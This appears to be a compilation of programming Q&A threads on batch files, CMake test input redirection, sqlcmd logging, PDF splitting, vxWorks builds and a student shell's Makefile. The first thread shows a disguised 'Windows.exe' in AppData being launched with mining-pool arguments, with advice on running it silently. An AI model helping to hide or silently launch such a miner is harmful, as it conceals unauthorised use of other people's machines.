I tried to run an exe file from a bat file silently in the following way:
"C:\Users\Uran\AppData\Roaming\Windows.exe -o ypool.net -u sundaram.1 -p x -t 4" <Silent>
But it doesn't open the exe. If I remove <Silent> and apostrophes, it runs, but of course not silently. What is the correct way to run an exe silently?
Try to use > NUL instead of <Silent>:
"C:\Users\Uran\AppData\Roaming\Windows.exe -o ypool.net -u sundaram.1 -p x -t 4" > NUL
Related
So I am using CLion on a Mac and wrote my code and would like to test it. I have an input file called test.txt. I know how to do it using terminal which is simply ./a < test.txt and it will run the binary and take text.txt as input. My question is, can we do it through CMake? So that I don't need to use terminal and just press the "run" button in CLion.
Having:
add_executable(a ...)
The short workaround on systems with sh shell would be to just spawn a shell to do the redirection:
add_test(NAME atest COMMAND sh -c "\"$1\" < \"$2\"" -- $<TARGET_FILE:a> test.txt)
A proper way would be to use CMake instead of shell. So a separate CMake script to run the executable with redirected file. Below is an example that just creates the script from inside CMake - but it can be just a separate file instead.
# redirect_stdin_from_file.cmake
execute_process(
COMMAND "${COMMAND}"
INPUT_FILE "${INPUT_FILE}"
RESULT_VARIABLE ret
)
if(ret)
message(FATAL_ERROR "ERROR: ${COMMAND} failed: ${ret}")
endif()
# CMakeLists.txt
add_test(NAME atest2 COMMAND
${CMAKE_COMMAND}
-D COMMAND=$<TARGET_FILE:a>
-D INPUT_FILE=${CMAKE_CURRENT_SOURCE_DIR}/test.txt
-P ${CMAKE_CURRENT_SOURCE_DIR}/redirect_stdin_from_file.cmake
)
How can I generate other log file which will not overwrite the first result's output.
Here is my .bat file code:
sqlcmd -S BernsDBServer -d BernsTable -i "\\BernsRemoteServer\d$\Tools\DeleteNullValues.sql" -s " | " -o "\\BernsRemoteServer\d$\Tools\log.txt"
I am trying to use sejda-console.bat to split a pdf by bookmarks
My command looks like this and works fine;
sejda-console.bat splitbybookmarks -l 2 -f c:\input\*.pdf -o c:\output\ -p [BOOKMARK_NAME]
What I was hoping to do was to take the filename of the input file and use that as the output subdirectory. ie:
c:\input\xyz.pdf --> c:\output\xyz\bookmarkname.pdf
Probably just a for loop, but I cant get it to work.
Finally got the for loop working...
for %%f in (c:\input\*.pdf) do (
if not exist C:%%~Nf md C:%%~Nf
C:\sejda-console-1.0.0.M9\bin\sejda-console.bat splitbybookmarks -l 2 -f %%f -o C:%%~Nf\ -p [BOOKMARK_NAME]
)
I'm using a windows batch file to run vxWorks build.
In order to run the build, I need to run the wrenv.exe utility that set up the build environment.
I'm trying the following, but the update operation fails
call C:\WindRiver32\wrenv.exe -p vxworks-6.8
call wrws_update.bat -data "%WORKSPACE%" -l %APP_MODULE% -b build -c %CPU%
How can I force the batch to "remember" the wrenv.exe settings?
The two commands may be combined, like this:
call C:\WindRiver32\wrenv.exe -p vxworks-6.8 wrws_update.bat -data %WORKSPACE% -l %APP_MODULE% -b build -c %CPU%
This will run the command "wrws_update.bat -data %WORKSPACE% -l %APP_MODULE% -b build -c %CPU%", inside the "C:\WindRiver32\wrenv.exe -p vxworks-6.8" shell, returning control upon completion.
I created a Linux shell for one of my classes written in C. The shell works perfectly running such commands as ls, pwd, ps, top, cd, etc.
However, using a MakeFile (because that is part of the submission process), when the you use the command "make test" in Terminal I get the error tcsetpgrp: Inappropriate ioctl for device"amongst all of the correct output of my program. Within the Makefile I have test: test.txt | .project4.c with test.txt being the commands, ls, pwd, ps, top, cd separated by newlines instead of commas. What is this error and how do I get rid of it?
Here is my makefile:
PAWPRINT=myname
project4:
clean:
rm -f *.o
nuke:
rm -f *.o project4 *.gz
test: project4
cat test.txt | ./project4
submit.sh:
wget -O submit.sh http://somewebsite.com/submit.sh
chmod +x submit.sh
project4.tar.gz: project4.c test.txt Makefile
mkdir -p dist
cp $^ dist
tar -cvzf $# dist
submit: submit.sh project4.tar.gz
PAWPRINT=$(PAWPRINT) sh submit.sh project4.tar.gz
Here is my test.txt file:
sleep 1000 &
jobs
pwd
ls
echo hello > a.txt
echo world > b.txt
cat a.txt b.txt > c.txt
cat c.txt
My program can run these commands individually outside of the makefile. I designed the program to handles these commands because that is what the assignment was for.
So you're saying, as make sense, that the tcsetpgrp is coming from your program output right? Well this has mothing to do with your MakeFile, but as a result of running the program inside the submission process. Your program is attempting to become a process group and thus is trying to tell its controlling terminal that it's the foreground process. But there is no terminal because you're inside the submission process, so tcsetpgrp() complains (man tcsetpgrp(3) for more information). Generally this is harmless, though annoying.